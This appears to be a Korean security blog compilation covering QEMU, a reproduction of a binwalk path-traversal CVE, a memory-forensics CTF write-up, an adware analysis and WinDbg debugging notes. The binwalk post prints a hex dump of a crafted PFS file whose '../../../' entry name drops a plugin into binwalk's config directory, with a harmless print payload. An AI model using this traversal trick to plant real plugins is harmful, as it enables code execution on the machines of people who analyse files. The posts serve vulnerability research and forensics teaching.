반응형

QEMU란?

QEMU는 가상화 소프트웨어이며, 사용자가 다양한 아키텍처에서 가상머신을 실행할 수 있도록 지원합니다. 이 소프트웨어는 무료이며, 다양한 운영체제에서 동작합니다. QEMU는 또한 하드웨어 가속 기술을 지원하며, 특히 KVM(Kernel Virtual Machine)과 결합하여 가상화를 향상시킬 수 있습니다.

QEMU의 기능

QEMU는 다음과 같은 기능을 제공합니다.

  • 가상머신 생성 및 실행
  • 다양한 아키텍처에서의 가상머신 지원
  • 하드웨어 가속 기술 지원
  • 다양한 운영체제에서 동작
  • GUI 및 CLI 인터페이스 제공

QEMU의 사용

QEMU는 가상머신을 생성하고 실행하는 데 사용됩니다. QEMU를 사용하여 가상머신을 생성하고 실행하려면, 다음과 같은 단계를 따르면 됩니다.

  1. QEMU를 설치합니다.
  2. QEMU를 사용하여 가상머신을 생성합니다.
  3. 생성한 가상머신에서 운영체제를 설치합니다.
  4. 생성한 가상머신을 실행합니다.

QEMU는 CLI(Command-Line Interface)를 통해 사용할 수 있으며, 다음과 같은 명령어를 사용하여 가상머신을 생성하고 실행할 수 있습니다.

qemu-system-{arch} [options] [disk_image]

여기서 {arch}는 생성하려는 가상머신의 아키텍처를 나타냅니다. 예를 들어, x86 아키텍처의 가상머신을 생성하려면 qemu-system-x86_64 명령어를 사용합니다.

QEMU의 장단점

장점

  • 다양한 아키텍처에서의 가상머신 지원
  • 하드웨어 가속 기술 지원
  • 다양한 운영체제에서 동작

단점

  • 성능이 상대적으로 느림
  • GUI 인터페이스가 다소 불편함

결론

QEMU는 무료이며, 다양한 아키텍처에서 가상머신을 실행할 수 있는 가상화 소프트웨어입니다. 하드웨어 가속 기술을 지원하여 가상화를 향상시킬 수 있으며, 다양한 운영체제에서 동작합니다. 그러나 성능이 상대적으로 느리고 GUI 인터페이스가 다소 불편하다는 단점이 있습니다.

반응형
반응형

설명

버전 2.1.2b ~ 2.3.2 까지의 ReFirm Labs binwalk에서 경로 탐색 취약점이 확인 되었다.

이 취약점을 통해 원격 공격자는 영향을 받는 binwalk 설치에서 임의 코드를 실행 할 수 있다.

“-e : 대상이 추출 모드(옵션)를 사용하여, binwalk로 악성 파일을 열어야 한다.”는 점에서 이 취약점을 악용하려면 사용자 상호 작용이 필요합니다 .

테스트 환경

  • MacOS Ventura 3.1
  • Homebrew로 설치한 Binwalk v2.3.3

테스트 과정

  1. binwalk -e -M poc.zip
babyhack@MacBookPro> binwalk -e -M poc.zip

Scan Time:     2023-02-01 20:30:54
Target File:   /Users/babyhack/Downloads/poc.zip
MD5 Checksum:  4fdad30c7c1b4915938b5ad2786f5bf8
Signatures:    411

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Zip archive data, at least v2.0 to extract, compressed size: 170, uncompressed size: 349, name: malicious.pfs
324           0x144           End of Zip archive, footer length: 22

Scan Time:     2023-02-01 20:30:54
Target File:   /Users/babyhack/Downloads/_poc.zip.extracted/malicious.pfs
MD5 Checksum:  9a12bccad3db3ed8b818a31846d5976f
Signatures:    411

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PFS filesystem, version 0.9, 1 files

malicious.pfs 파일 내용

babyhack@MacBookPro> xxd malicious.pfs
00000000: 5046 532f 302e 3900 0000 0000 0000 0100  PFS/0.9.........
00000010: 2e2e 2f2e 2e2f 2e2e 2f2e 636f 6e66 6967  ../../../.config
00000020: 2f62 696e 7761 6c6b 2f70 6c75 6769 6e73  /binwalk/plugins
00000030: 2f6d 616c 7761 6c6b 2e70 7900 0000 0000  /malwalk.py.....
00000040: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000060: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000070: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000080: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000090: 3412 0000 a000 0000 c100 0000 696d 706f  4...........impo
000000a0: 7274 2062 696e 7761 6c6b 2e63 6f72 652e  rt binwalk.core.
000000b0: 706c 7567 696e 0a0a 636c 6173 7320 4d61  plugin..class Ma
000000c0: 6c69 6369 6f75 7345 7874 7261 6374 6f72  liciousExtractor
000000d0: 2862 696e 7761 6c6b 2e63 6f72 652e 706c  (binwalk.core.pl
000000e0: 7567 696e 2e50 6c75 6769 6e29 3a0a 2020  ugin.Plugin):.
000000f0: 2020 2222 220a 2020 2020 4d61 6c69 6369    """.    Malici
00000100: 6f75 7320 6269 6e77 616c 6b20 706c 7567  ous binwalk plug
00000110: 696e 0a20 2020 2022 2222 0a0a 2020 2020  in.    """..
00000120: 6465 6620 696e 6974 2873 656c 6629 3a0a  def init(self):.
00000130: 2020 2020 2020 2020 7072 696e 7428 2268          print("h
00000140: 656c 6c6f 2066 726f 6d20 6d61 6c69 6369  ello from malici
00000150: 6f75 7320 706c 7567 696e 2229 0a         ous plugin").
import binwalk.core.plugin

class MaliciousExtractor(binwalk.core.plugin.Plugin):
"""    Malicious binwalk plugin.    """
	def init(self):
		print("hello from malicious plugin")

결과

  • binwalk.core.plugin 파일을 참조할 수 없어 제대로 실행 되지 않음.
  • 버전이 맞지 않아서 제대로 실행되지 않을 가능성도 있음.

ref.

  • https://onekey.com/blog/security-advisory-remote-command-execution-in-binwalk
반응형
반응형

문제를 요청한 Kenji Aiko님께 감사 드리며, 출제한 문제에 대한 풀이집을 올립니다.

(Forensic 100)


/////////////////////////////////////////////////////////////////////////////////////////////////////////

 

 

Forensic 100 - writeup

Date. 2016. 11. 07.

Written by crattack

 

 

 

Question.

 

컴퓨터를 사용하다가 컴퓨터가 느려지는 현상이 발견되어, 원인을 파악해 보니 특정 파일에서 지속적으로 인터넷을 연결하는 현상이 감지 되었다. 해당 사이트에 접근해보니 특정 문구가 존재하였다.

해당 사이트에 접근하여 특정 문구인 flag를 획득하시오.

 

コンピュ使用しながらパソコンがくなる現象発見され、原因把握してみると、特定ファイルで続的にインタネットを連結する現象感知された。 当該サイトへアクセスしてみると、特定のフレズが存在した。

当該サイトへアクセスして特定のフレズであるflag獲得しなさい。



Write up.

 

1. 이미지의 정보를 확인 / イメジの情報確認

( http://downloads.volatilityfoundation.org/releases/2.4/volatility_2.4.win.standalone.zip)

C:\Volatility>vol.py -f "C:\Forensic_100\forensic_100.raw" imageinfo

 

Volatility Foundation Volatility Framework 2.4

*** Failed to import volatility.plugins.linux.netscan (ImportError: No module named yara)

Determining profile based on KDBG search...

 

          Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86)

                     AS Layer1 : IA32PagedMemoryPae (Kernel AS)

                     AS Layer2 : FileAddressSpace (C:\Forensic_100\forensic_100.raw)

                      PAE type : PAE

                           DTB : 0x34c000L

                          KDBG : 0x80545ce0L

          Number of Processors : 1

     Image Type (Service Pack) : 3

                KPCR for CPU 0 : 0xffdff000L

             KUSER_SHARED_DATA : 0xffdf0000L

           Image date and time : 2016-10-31 05:45:14 UTC+0000

     Image local date and time : 2016-10-31 14:45:14 +0900

 

2. DLL 리스트를 활용하여, 이상 프로세스 확인 / DLLリストを活用して、異常プロセス確認

 

C:\Volatility>vol.py -f "C:\Forensic_100\forensic_100.raw" dlllist > C:\Forensic_100\dlllist.txt

 

*** Failed to import volatility.plugins.linux.netscan (ImportError: No module named yara)

************************************************************************

System pid:      4

Unable to read PEB for task.

************************************************************************

smss.exe pid:    540

Unable to read PEB for task.

************************************************************************

csrss.exe pid:    604

Command line : C:\WINDOWS\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,3072,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ProfileControl=Off MaxRequestThreads=16

Service Pack 3

 

Base             Size  LoadCount Path

---------- ---------- ---------- ----

0x4a680000     0x5000     0xffff \??\C:\WINDOWS\system32\csrss.exe

0x7c900000    0xb2000     0xffff C:\WINDOWS\system32\ntdll.dll

0x75b40000     0xb000     0xffff C:\WINDOWS\system32\CSRSRV.dll

0x75b50000    0x10000        0x3 C:\WINDOWS\system32\basesrv.dll

0x75b60000    0x4b000        0x2 C:\WINDOWS\system32\winsrv.dll

0x77f10000    0x49000        0xa C:\WINDOWS\system32\GDI32.dll

0x7c800000    0xf6000       0x1f C:\WINDOWS\system32\KERNEL32.dll

0x7e410000    0x91000        0xa C:\WINDOWS\system32\USER32.dll

0x629c0000     0x9000        0x1 C:\WINDOWS\system32\LPK.DLL

0x74d90000    0x6b000        0x1 C:\WINDOWS\system32\USP10.dll

0x77dd0000    0x9b000        0xd C:\WINDOWS\system32\ADVAPI32.dll

0x77e70000    0x93000        0x7 C:\WINDOWS\system32\RPCRT4.dll

0x77fe0000    0x11000        0x5 C:\WINDOWS\system32\Secur32.dll

0x7e720000    0xb0000        0x1 C:\WINDOWS\system32\sxs.dll

************************************************************************

………………………………………………

 

DumpIt.exe pid:   3784

Command line : "C:\Documents and Settings\Administrator\My Documents\Downloads\DumpIt.exe"

Service Pack 3

 

Base             Size  LoadCount Path

---------- ---------- ---------- ----

0x00400000    0x35000     0xffff C:\Documents and Settings\Administrator\My Documents\Downloads\DumpIt.exe

0x7c900000    0xb2000     0xffff C:\WINDOWS\system32\ntdll.dll

0x7c800000    0xf6000     0xffff C:\WINDOWS\system32\kernel32.dll

0x77dd0000    0x9b000     0xffff C:\WINDOWS\system32\ADVAPI32.dll

0x77e70000    0x93000     0xffff C:\WINDOWS\system32\RPCRT4.dll

0x77fe0000    0x11000     0xffff C:\WINDOWS\system32\Secur32.dll

0x77f60000    0x76000     0xffff C:\WINDOWS\system32\SHLWAPI.dll

0x77f10000    0x49000     0xffff C:\WINDOWS\system32\GDI32.dll

0x7e410000    0x91000     0xffff C:\WINDOWS\system32\USER32.dll

0x77c10000    0x58000     0xffff C:\WINDOWS\system32\msvcrt.dll

0x76390000    0x1d000        0x1 C:\WINDOWS\system32\IMM32.DLL

0x629c0000     0x9000        0x1 C:\WINDOWS\system32\LPK.DLL

0x74d90000    0x6b000        0x1 C:\WINDOWS\system32\USP10.dll

************************************************************************

svchost.exe pid:    1776

Command line : "C:\WINDOWS\svchost.exe"

Service Pack 3

 

Base             Size  LoadCount Path

---------- ---------- ---------- ----

0x00400000     0x9000     0xffff C:\WINDOWS\svchost.exe

0x7c900000    0xb2000     0xffff C:\WINDOWS\system32\ntdll.dll

0x7c800000    0xf6000     0xffff C:\WINDOWS\system32\kernel32.dll

0x10000000     0xa000     0xffff C:\WINDOWS\JDMBackgroundProcess.dll

0x77dd0000    0x9b000     0xffff C:\WINDOWS\system32\ADVAPI32.dll

0x77e70000    0x93000     0xffff C:\WINDOWS\system32\RPCRT4.dll

0x77fe0000    0x11000     0xffff C:\WINDOWS\system32\Secur32.dll

0x00350000    0x6d000     0xffff C:\WINDOWS\system32\MSVCP140.dll

0x003c0000    0x15000     0xffff C:\WINDOWS\system32\VCRUNTIME140.dll

0x003e0000     0x4000     0xffff C:\WINDOWS\system32\api-ms-win-crt-runtime-l1-1-0.dll

0x00410000    0xd8000     0xffff C:\WINDOWS\system32\ucrtbase.dll

0x003f0000     0x3000     0xffff C:\WINDOWS\system32\api-ms-win-core-string-l1-1-0.dll

0x004f0000     0x3000     0xffff C:\WINDOWS\system32\api-ms-win-core-errorhandling-l1-1-0.dll

…………………………..

************************************************************************

………………………….

IEXPLORE.EXE pid:   2304

Command line : "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2496 CREDAT:79880

Service Pack 3

……………………………………………………

 

 

3. 의심 프로세스 덤프 후 분석 / いプロセスダンプ分析

 

C:\Volatility>vol.py -f "c:\forensic_100\forensic_100.raw" procdump --pid=1776 -D c:\forensic_100\

 

Volatility Foundation Volatility Framework 2.4

*** Failed to import volatility.plugins.linux.netscan (ImportError: No module named yara)

Process(V) ImageBase  Name                 Result

---------- ---------- -------------------- ------

0x81f65da0 0x00400000 svchost.exe          OK: executable.1776.exe

 

 



000000001B68   000000403368      0   C:\Program Files\Internet Explorer\iexplore.exe http://crattack.tistory.com/entry/Data-Science-import-pandas-as-pd


 

4. 접속 정보 확인 / 続情報確認

 

도메인 확인 / ドメイン確認

 




C:\Volatility>vol.py -f "C:\Forensic_100\forensic_100.raw" connections > C:\Forensic_100\connections.txt


 

*** Failed to import volatility.plugins.linux.netscan (ImportError: No module named yara)

Offset(V)  Local Address             Remote Address            Pid

---------- ------------------------- ------------------------- ---

0x8213bbe8 192.168.88.131:1034       153.127.200.178:80           1080

 

Connection 정보와 일치하지 않으므로 도메인 관련 변조가 있을 것으로 추정 / Connection情報一致しないのでドメイン関連変造があると推定

 

5. Hosts 파일 덤프 하기 위해 주소 확인 / Hostsファイルダンプするため住所確認

 

C:\Volatility>vol.py -f "C:\Forensic_100\forensic_100.raw" filescan > c:\forensic_100\filescan.txt


 

*** Failed to import volatility.plugins.linux.netscan (ImportError: No module named yara)

Offset(V)  Local Address             Remote Address            Pid

---------- ------------------------- ------------------------- ---

0x8213bbe8 192.168.88.131:1034       153.127.200.178:80           1080

 

Connection 정보와 일치하지 않으므로 도메인 관련 변조가 있을 것으로 추정 / Connection情報一致しないのでドメイン関連変造があると推定


 

*** Failed to import volatility.plugins.linux.netscan (ImportError: No module named yara)

Offset(P)            #Ptr   #Hnd Access Name

------------------ ------ ------ ------ ----

0x0000000001734038      3      0 RWD--- \Device\HarddiskVolume1\$Directory

0x000000000174a270      3      0 RWD--- \Device\HarddiskVolume1\$Directory

0x0000000001756cf8      1      0 R--r-d \Device\HarddiskVolume1??????


?

0x00000000017634f0      1      0 -W---- \Device\HarddiskVolume1??????????????

0x0000000001763c60      1      0 R--r-d \Device\HarddiskVolume1?

0x0000000001794b18      3      0 RWD--- \Device\HarddiskVolume1\$Directory

.........................................

0x00000000020f0268      1      0 R--rw- \Device\HarddiskVolume1\WINDOWS\svchost.exe

0x00000000020f0a90      2      1 ------ \Device\NamedPipe\PCHHangRepExecPipe

0x00000000020f3888      1      0 R--rw- \Device\HarddiskVolume1\Documents and Settings\All Users\Application Data\VMware\VMware Tools\Unity Filters\adobeflashcs3.txt

0x00000000020f4f90      1      1 ------ \Device\NamedPipe\net\NtControlPipe8

0x00000000020f5028      2      1 R--rw- \Device\HarddiskVolume1\WINDOWS\system32\mui\041e

0x00000000020f50d0      2      1 R--rw- \Device\HarddiskVolume1\WINDOWS\system32\mui\0425

0x00000000020f5e38      3      0 RWD--- \Device\HarddiskVolume1\$Directory

0x00000000020f5f90      3      0 RWD--- \Device\HarddiskVolume1\$Directory

0x00000000020f6108      2      1 R--rw- \Device\HarddiskVolume1\WINDOWS\system32\mui\040C

0x00000000020f8658      3      0 RWD--- \Device\HarddiskVolume1\$ConvertToNonresident

.............................

0x000000000217b748      1      0 R--rw- \Device\HarddiskVolume1\WINDOWS\system32\drivers\etc\hosts

………………………

 

Hosts 파일의 메모리 주소를 활용하여 Dump / Hostsファイルのメモリアドレスを活用してDump

 

C:\Volatility>vol.py -f "c:\forensic_100\forensic_100.raw" dumpfiles -Q 0x217b748 --dump-dir=c:\forensic_100\

 

# Copyright (c) 1993-1999 Microsoft Corp.

#

# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.

#

# This file contains the mappings of IP addresses to host names. Each

# entry should be kept on an individual line. The IP address should

# be placed in the first column followed by the corresponding host name.

# The IP address and the host name should be separated by at least one

# space.

#

# Additionally, comments (such as these) may be inserted on individual

# lines or following the machine name denoted by a '#' symbol.

#

# For example:

#

#      102.54.94.97     rhino.acme.com          # source server

#       38.25.63.10     x.acme.com              # x client host

 

127.0.0.1       localhost

153.127.200.178    crattack.tistory.com

 

http://153.127.200.178/entry/Data-Science-import-pandas-as-pd



------------------------------------------------------

이상으로 write up을 마칩니다.

오랜만에 문제를 만드니까 즐거웠습니다. ( _ _ )

반응형
반응형

 

wordpress.com 을 통해 검색어를 올려 놓고 해당 내용을 다운 받아서 네이버에 검색하는 adware 입니다.

이런 걸로 사업하다니.....

 

[[ 증상은 다음과 같습니다. ]]

1. 마우스 포커스를 잃습니다.

2. IE에 네이버를 통한 검색이 이뤄집니다.

3. C:\Documents and Settings\Analyzer\Local Settings\Temp\[랜덤문자].exe 파일 생성

(검색어 처리 하는 프로그램)

4. 자동실행 레지스트리 추가 - C:\windows\[랜덤문자].exe

 

[[ 검색어 리스트 - 키워드는 사업명이므로 제외 하였음. ]]

-- https://creat01~10.wordpress.com/

 [key]
키워드갯수=390
키워드인장=2016-06-21-19
[keyw1]
키워드=
찾을내용=하남 맛집
찾을내용2=팔당 맛집
[keyw2]
키워드=
찾을내용=세종기미
찾을내용2=세종시 제모
[keyw3]
키워드=
찾을내용=피부 관리기
찾을내용2=피부관리기
[keyw4]
키워드=
찾을내용=신지웨딩
찾을내용2=박주은 부산웨딩플래너
[keyw5]
키워드=
찾을내용=강남세란의원
찾을내용2=강남 목디스크
[keyw6]
키워드=
찾을내용=원주필러
찾을내용2=원주피부과추천
[keyw7]
키워드=
찾을내용=신혼가구추천
찾을내용2=일산가구할인매장
[keyw8]
키워드=
찾을내용=잠실 웨딩홀
찾을내용2=송파 웨딩홀
[keyw9]
키워드=
찾을내용=성북구 미용실
찾을내용2=살롱드프롬 성신여대살롱
[keyw10]
키워드=
찾을내용=구로 정형외과
찾을내용2=구로 한의원
[keyw11]
키워드=
찾을내용=기미치료
찾을내용2=얼굴잡티제거
[keyw12]
키워드=
찾을내용=노래강사자격증
찾을내용2=한국실버여가문화지도자협회
[keyw13]
키워드=
찾을내용=제모기
찾을내용2=제모기
[keyw14]
키워드=
찾을내용=천만모여
찾을내용2=아만다
[keyw15]
키워드=
찾을내용=분당 맛집
찾을내용2=분당맛집
[keyw16]
키워드=
찾을내용=김포 맛집
찾을내용2=김포맛집
[keyw17]
키워드=
찾을내용=부산대 맛집
찾을내용2=부산대맛집
[keyw18]
키워드=
찾을내용=콤비교정
찾을내용2=급속교정
[keyw19]
키워드=
찾을내용=압구정사주카페
찾을내용2=재미난천상
[keyw20]
키워드=
찾을내용=이대 맛집
찾을내용2=신촌역 맛집
............................................

 

배포자는 알아서 정리하길 바래요...( _ _ )

 

 

 

 

반응형
반응형

업무 중에 crash가 발생한 프로그램에 대한 메모리 덤프를 뜬 파일을 분석하게 되었습니다.

어느 부분에서 crash가 발생하였는지 확인하는 과정을 나열해 봅니다.

(※ 해당 crash 파일은 MiniDumpWriteDump API의 "MiniDumpNormal"로 설정한 파일 입니다.)

 

본문에서는 반어를 사용합니다. 이점 양해 부탁 드립니다.

-------------------------------------------------------------------------

 

crash가 발생하여 메모리를 dump를 뜬 파일을 전달 받았다.

해당 파일을 windbg로 열어서 어느 부분에서 crash가 발생하였는지 확인 해보도록 하자.

 

우선, dump 파일을 windbg의 crash file open 메뉴를 이용하여 파일을 읽어야 한다.

그렇지 않을 경우 아래와 같은 화면이 나오므로 다시 Open 하기 바란다.

 

 

 

해당 파일은 crash 파일인데 그냥 열겠냐?

라는 메시지다. yes를 누르면 아래와 같이 분석 할 수 없는 내용이 나온다.

 

 

따라서, windbg에서 crash dump 파일을 분석할 수 있는 기능인 "Open Crash Dump" 메뉴를 이용하여

파일을 열어야 분석 할 수 있는 환경이 만들어 진다.

 

 

 

굳이, 분석을 진행하지 않더라도 간단하게 어떤 이유로 crash가 발생 했는지 확인 할 수 있다.

예제 파일은 "Access violation" 으로 크래쉬가 발생한 것이다.

 

 

그럼 조금 더 분석을 하기 위해서 windbg 명령인 "!analyze -v"를 실행 한다.

 

0:000> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************


FAULTING_IP:
test+1b1a
00401b1a c6400100        mov     byte ptr [eax+1],0

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 00401b1a (test+0x00001b1a)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 00000001
Attempt to write to address 00000001

CONTEXT:  00000000 -- (.cxr 0x0;r)
eax=00000000 ebx=0a280aa8 ecx=7f680000 edx=0008e3c8 esi=0a280a68 edi=0018f08c
eip=77e70c42 esp=0018ed4c ebp=0018ed5c iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!NtGetContextThread+0x12:
77e70c42 83c404          add     esp,4

DEFAULT_BUCKET_ID:  NULL_CLASS_PTR_WRITE

PROCESS_NAME:  test.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - 0x%08lx

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - 0x%08lx

EXCEPTION_PARAMETER1:  00000001

EXCEPTION_PARAMETER2:  00000001

WRITE_ADDRESS:  00000001

FOLLOWUP_IP:
test+1b1a
00401b1a c6400100        mov     byte ptr [eax+1],0

APP:  test.exe

ANALYSIS_VERSION: 6.3.9600.16384 (debuggers(dbg).130821-1623) x86fre

FAULTING_THREAD:  00002704

PRIMARY_PROBLEM_CLASS:  NULL_CLASS_PTR_WRITE

BUGCHECK_STR:  APPLICATION_FAULT_NULL_CLASS_PTR_WRITE

LAST_CONTROL_TRANSFER:  from 00401f46 to 00401b1a

STACK_TEXT: 
WARNING: Stack unwind information not available. Following frames may be wrong.
0018fe70 00401f46 00000000 00000000 cccccccc test+0x1b1a
0018fed4 00411808 00400000 00000000 0a0da4ed test+0x1f46
0018ff80 0041156f 0018ff94 7745336a 7efde000 test+0x11808
0018ff88 7745336a 7efde000 0018ffd4 77e89f72 test+0x1156f
0018ff94 77e89f72 7efde000 558d3134 00000000 kernel32!BaseThreadInitThunk+0xe
0018ffd4 77e89f45 00411560 7efde000 00000000 ntdll!__RtlUserThreadStart+0x70
0018ffec 00000000 00411560 7efde000 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND:  ~0s; .ecxr ; kb

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  test+1b1a

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: test

IMAGE_NAME:  test.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  53210e00

FAILURE_BUCKET_ID:  NULL_CLASS_PTR_WRITE_c0000005_test.exe!Unknown

BUCKET_ID:  APPLICATION_FAULT_NULL_CLASS_PTR_WRITE_test+1b1a

ANALYSIS_SOURCE:  UM

FAILURE_ID_HASH_STRING:  um:null_class_ptr_write_c0000005_test.exe!unknown

FAILURE_ID_HASH:  {f756d029-0188-112b-7fe5-3c317ed11732}

Followup: MachineOwner
---------

 

 

test+1b1a 00401b1a c6400100        mov     byte ptr [eax+1],0

 

위 코드로 인하여, 실행하는 과정에서 문제가 발생 하였다.

해당 Address를 알 수 있으므로, 디버깅하기는 수월할 것이다.

(소스 코드와 연동하면 더욱 더 편하게 분석 할 수 있다.)

 

조금 더 아래로 내려와서 분석을 하다보면

 

DEFAULT_BUCKET_ID:  NULL_CLASS_PTR_WRITE

 

이런 내용이 보일 것이다. 해당 내용은 Write 하려는 class pointer가 NULL 값을 가지므로 인해서

Write 할 수 없다는 의미이다.

 

이것으로 crash dump 분석을 마무리 하도록 하겠다.

반응형
반응형

해당 글은 ioapic를 확인하는 과정에서 오류가 발생하여, 원인을 파악하던 중 발견된 내용입니다.

확인 해보니 버전과 관련해서 동기화가 되지 않아 발생한 것으로 나옵니다.

보다 상세한 인터럽트 관련된 내용은 추후 또는 검색을 통해서 확인 해보시길 바랍니다.

이후 부터는 반어를 사용합니다. 이점 양해해주십시오. 감사합니다.

-----------------------------------------------------------------------------------------------

 

Windows에서 인터럽트는 하드웨어 인터럽트와 프로그래밍 인터럽트(PIC)가 있다.

하드웨어 인터럽트는 여기에서 다루지 않고 프로그래밍 인터럽트에 대해서 확인 과정을 정리하도록 하겠다.

프로그래밍 인터럽트는 PIC(Programmable Interrupt Contorller)라고 한다.

 

또한, PIC는 x86에서는 i8259A PIC / i82489 APIC(Advanced Programmable Interrupt Controller)로 나뉘어 사용된다.

x64에서는 APIC를 사용하기 때문에 APIC를 제공하지 않는 시스템에서는 인터럽트를 사용할 수 없다.

 

그럼 PIC와 APIC의 내용을 확인 해보자.

PIC, APIC는 HAL*.DLL을 기반으로 동작하기 때문에 PIC가 만약 실행되지 않는다면 APIC HAL(Halapic.dll)을 사용하기 때문이다.

그러나, 아래와 같이 PIC가 동작한다면 APIC는 MPS HAL(Halmps.dll)을 사용하기 때문에 PIC, APIC가 동작하게 되는 것이다.

(※ 더 자세한 내용은 http://support.microsoft.com/kb/309283/ko 확인 해보길 바란다.)

 

 

kd> !pic

----- IRQ Number ----- 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
Physically in service:  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .
Physically masked:      Y  Y  Y  Y  Y  Y  Y  Y  Y  Y  Y  Y  Y  Y  Y  Y
Physically requested:   Y  .  .  .  .  .  Y  .  Y  Y  .  .  Y  .  .  Y
Level Triggered:        .  .  .  .  .  Y  .  .  .  Y  Y  Y  .  .  .  .

0: kd> !apic
Apic @ fffe0000  ID:0 (40011)  LogDesc:01000000  DestFmt:ffffffff  TPR 00
TimeCnt: 00000000clk  SpurVec:1f  FaultVec:e3  error:0
Ipi Cmd: 0e000000`000008e1  Vec:E1  FixedDel  Lg:0e000000      edg high      
Timer..: 00000000`000300fd  Vec:FD  FixedDel    Dest=Self      edg high      m
Linti0.: 00000000`0001001f  Vec:1F  FixedDel    Dest=Self      edg high      m
Linti1.: 00000000`000004ff  Vec:FF  NMI         Dest=Self      edg high      
TMR: 56, 76, 86, B1
IRR: 56, B1, D1
ISR: D1

 

추가적으로 I/O APIC를 확인하기 위해서 명령어를 입력할 경우 아래와 같은 에러 메시지가 발생하게 된다면

버전과 관련된 부분일 수 있으므로 .reload 후 다시 조회할 경우 가능하게 된다.

(※ 3번 연속으로 조회를 할 경우 되는 경우도 있다고 하니 참고 하길 바란다.

http://www.osronline.com/showthread.cfm?link=226560)

 

 

1: kd> !ioapic
Error retrieving address of HalpMpInfoTable

 

1: kd> .reload
Connected to Windows 7 7601 x86 compatible target at (Mon Mar 10 08:54:00.789 2014 (UTC + 9:00)), ptr64 FALSE
Loading Kernel Symbols
.............................................................

Press ctrl-c (cdb, kd, ntsd) or ctrl-break (windbg) to abort symbol loads that take too long.
Run !sym noisy before .reload to track down problems loading symbols.

..
................................................................
...........................
Loading User Symbols

Loading unloaded module list
.......
1: kd> .reload hal
1: kd> dt hal!HalpMpInfo

   +0x000 ApicVersion      : Uint4B
   +0x004 ProcessorCount   : Uint4B
   +0x008 DynamicProcessorCount : Uint4B
   +0x00c NtProcessors     : Uint4B
   +0x010 StartedPackages  : Uint4B
   +0x014 BusCount         : Uint4B
   +0x018 IoApicCount      : Uint4B
   +0x01c IoApicIntiCount  : Uint4B
   +0x020 LintiCount       : Uint4B
   +0x024 IMCRPresent      : Uint4B
   +0x028 LocalApicBase    : Uint4B
   +0x02c IoApicBase       : Ptr32 Ptr32 Uint4B
   +0x030 IoApicPhys       : Ptr32 Uint4B
   +0x034 IoApicIntiBase   : Ptr32 Uint4B

1: kd> dt hal!HalpMpInfo @@masm(hal!HalpMpInfoTable)
   +0x000 ApicVersion      : 0x10
   +0x004 ProcessorCount   : 4
   +0x008 DynamicProcessorCount : 0
   +0x00c NtProcessors     : 4
   +0x010 StartedPackages  : 1
   +0x014 BusCount         : 0
   +0x018 IoApicCount      : 1
   +0x01c IoApicIntiCount  : 0xf0
   +0x020 LintiCount       : 0
   +0x024 IMCRPresent      : 0
   +0x028 LocalApicBase    : 0xfee00000
   +0x02c IoApicBase       : 0xffd04044  -> 0xffd05000  -> 0x1c
   +0x030 IoApicPhys       : 0xffd04048  -> 0xfec00000
   +0x034 IoApicIntiBase   : 0xffd0404c  -> 0


1: kd> !ioapic
IoApic @ FEC00000  ID:4 (11)  Arb:4000000
Inti00.: 00000000`000100ff  Vec:FF  FixedDel  Ph:00000000      edg high      m
Inti01.: 0f000000`00000971  Vec:71  LowestDl  Lg:0f000000      edg high      
Inti02.: 00000000`000100ff  Vec:FF  FixedDel  Ph:00000000      edg high      m
Inti03.: 00000000`000100ff  Vec:FF  FixedDel  Ph:00000000      edg high      m
Inti04.: 0f000000`000009b2  Vec:B2  LowestDl  Lg:0f000000      edg high      
Inti05.: 00000000`000100ff  Vec:FF  FixedDel  Ph:00000000      edg high      m
Inti06.: 00000000`000109a2  Vec:A2  LowestDl  Lg:00000000      edg high      m
Inti07.: 00000000`000100ff  Vec:FF  FixedDel  Ph:00000000      edg high      m
Inti08.: 01000000`000008d1  Vec:D1  FixedDel  Lg:01000000      edg high      
Inti09.: 0f000000`0000e9b1  Vec:B1  LowestDl  Lg:0f000000      lvl low  rirr 
Inti0A.: 00000000`000100ff  Vec:FF  FixedDel  Ph:00000000      edg high      m
Inti0B.: 00000000`000100ff  Vec:FF  FixedDel  Ph:00000000      edg high      m
Inti0C.: 0f000000`00000961  Vec:61  LowestDl  Lg:0f000000      edg high      
Inti0D.: 00000000`000100ff  Vec:FF  FixedDel  Ph:00000000      edg high      m
Inti0E.: 0f000000`000009b6  Vec:B6  LowestDl  Lg:0f000000      edg high      
Inti0F.: 0f000000`000009a6  Vec:A6  LowestDl  Lg:0f000000      edg high      
Inti10.: 0f000000`0000a976  Vec:76  LowestDl  Lg:0f000000      lvl low       
Inti11.: 0f000000`0000a986  Vec:86  LowestDl  Lg:0f000000      lvl low       
Inti12.: 0f000000`0000e956  Vec:56  LowestDl  Lg:0f000000      lvl low  rirr 
Inti13.: 0f000000`0000a966  Vec:66  LowestDl  Lg:0f000000      lvl low       
